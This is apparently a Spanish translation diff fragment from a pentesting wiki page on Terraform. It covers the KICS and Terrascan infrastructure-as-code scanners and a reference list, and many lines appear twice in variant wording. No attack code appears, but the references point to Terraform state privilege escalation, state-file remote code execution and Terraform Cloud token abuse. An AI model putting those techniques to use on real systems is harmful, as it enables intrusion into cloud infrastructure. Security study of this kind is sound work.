Encuentra vulnerabilidades de seguridad, problemas de cumplimiento y configuraciones incorrectas de infraestructura temprano en el ciclo de desarrollo de tu infraestructura como código con **KICS** de Checkmarx.
Encuentra vulnerabilidades de seguridad, problemas de cumplimiento y errores de configuración de infraestructura temprano en el ciclo de desarrollo de tu infraestructura como código con **KICS** de Checkmarx.
**KICS** significa **K**eeping **I**nfrastructure as **C**ode **S**ecure, es de código abierto y es imprescindible para cualquier proyecto nativo de la nube.
**KICS** stands for **K**eeping **I**nfrastructure as **C**ode **S**ecure, es de código abierto y es imprescindible para cualquier proyecto cloud native.
```bash
docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"
```
### [Terrascan](https://github.com/tenable/terrascan)
De la [**documentación**](https://github.com/tenable/terrascan): Terrascan es un analizador de código estático para Infraestructura como Código. Terrascan te permite:
Según la [**docs**](https://github.com/tenable/terrascan): Terrascan es un analizador estático de código para Infraestructura como Código. Terrascan te permite:
- Escanear sin problemas la infraestructura como código en busca de configuraciones incorrectas.
- Monitorear la infraestructura en la nube provisionada para cambios de configuración que introduzcan desviaciones de postura, y permite revertir a una postura segura.
- Escanear de forma transparente la infraestructura como código en busca de misconfiguraciones.
- Supervisar la infraestructura en la nube aprovisionada para cambios de configuración que introduzcan posture drift, y permite revertir a una postura segura.
- Detectar vulnerabilidades de seguridad y violaciones de cumplimiento.
- Mitigar riesgos antes de provisionar infraestructura nativa de la nube.
- Ofrecer flexibilidad para ejecutarse localmente o integrarse con tu CI\CD.
- Mitigar riesgos antes de aprovisionar infraestructura nativa en la nube.
- Ofrece flexibilidad para ejecutarlo localmente o integrarlo con tu CI\CD.
```bash
brew install terrascan
```
@@ -366,13 +403,13 @@ brew install terrascan
- [https://developer.hashicorp.com/terraform/intro](https://developer.hashicorp.com/terraform/intro)
- [https://blog.plerion.com/hacking-terraform-state-privilege-escalation/](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/)
- [https://github.com/offensive-actions/terraform-provider-statefile-rce](https://github.com/offensive-actions/terraform-provider-statefile-rce)
- [Terraform Cloud token abuse turns speculative plan into remote code execution](https://www.pentestpartners.com/security-blog/terraform-token-abuse-speculative-plan/)
- [Terraform Cloud permissions](https://developer.hashicorp.com/terraform/cloud-docs/users-teams-organizations/permissions)
- [Terraform Cloud API – Show workspace](https://developer.hashicorp.com/terraform/cloud-docs/api-docs/workspaces#show-workspace)
- [AWS provider configuration](https://registry.terraform.io/providers/hashicorp/aws/latest/docs#provider-configuration)
- [AWS CLI – OIDC role assumption](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html#cli-configure-role-oidc)
- [GCP provider – Using Terraform Cloud](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference.html#using-terraform-cloud)
- [Terraform – Sensitive variables](https://developer.hashicorp.com/terraform/tutorials/configuration-language/sensitive-variables)
- [Snyk Labs – Gitflops: dangers of Terraform automation platforms](https://labs.snyk.io/resources/gitflops-dangers-of-terraform-automation-platforms/)
- [Abuso de tokens de Terraform Cloud convierte speculative plan en remote code execution](https://www.pentestpartners.com/security-blog/terraform-token-abuse-speculative-plan/)
- [Terraform Cloud permisos](https://developer.hashicorp.com/terraform/cloud-docs/users-teams-organizations/permissions)
- [Terraform Cloud API – Mostrar workspace](https://developer.hashicorp.com/terraform/cloud-docs/api-docs/workspaces#show-workspace)
- [AWS provider – configuración](https://registry.terraform.io/providers/hashicorp/aws/latest/docs#provider-configuration)
- [AWS CLI – Asunción de rol OIDC](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html#cli-configure-role-oidc)
- [GCP provider – Uso de Terraform Cloud](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference.html#using-terraform-cloud)
- [Terraform – Variables sensibles](https://developer.hashicorp.com/terraform/tutorials/configuration-language/sensitive-variables)
- [Snyk Labs – Gitflops: peligros de las plataformas de automatización de Terraform](https://labs.snyk.io/resources/gitflops-dangers-of-terraform-automation-platforms/)
{{#include ../banners/hacktricks-training.md}}